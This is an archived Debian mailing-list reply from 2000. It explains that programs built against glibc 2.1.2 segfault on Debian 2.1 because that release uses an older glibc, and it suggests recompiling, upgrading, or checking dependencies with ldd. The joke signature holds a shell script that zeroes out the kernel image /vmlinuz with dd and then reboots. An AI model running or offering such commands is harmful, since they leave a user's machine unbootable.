[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: Segmentation fault



<moved this message to debian-user, which is appropriate>

On Tue, Jul 04, 2000 at 02:17:15PM +0000, simon@baydel.com wrote:
> I have a set of applications which have been ported to Linux. The 
> code was compiled and linked on a SuSe system running glibc 2.1.2.
> This was found to run on earlier SuSe installations and also on Red 
> Hat. 
> 
> When an attempt was made to run the aplications on a Debian 2.1
> installation the programs crashed whth a segmentation fault. I have 
> looked at the libc.so.6 on this system and it is much smaller than 
> that on the SuSe system. 
> 
> Can anyone explain the difference on the Debian system and how I 
> could possibly overcome this ?

Debian 2.1 doesn't use glibc 2.1.2.  Think it uses 2.0.7 and there are
some incompatibilities.  You'll either need to recompile the program for
Debian 2.1 systems, or upgrade them to potato.  Probably easier to
recompile if you have the source.  But, then again, the sources might
require glibc2.1.

You can check library dependencies for an executable with ldd.

-- 
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
     count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now



Reply to: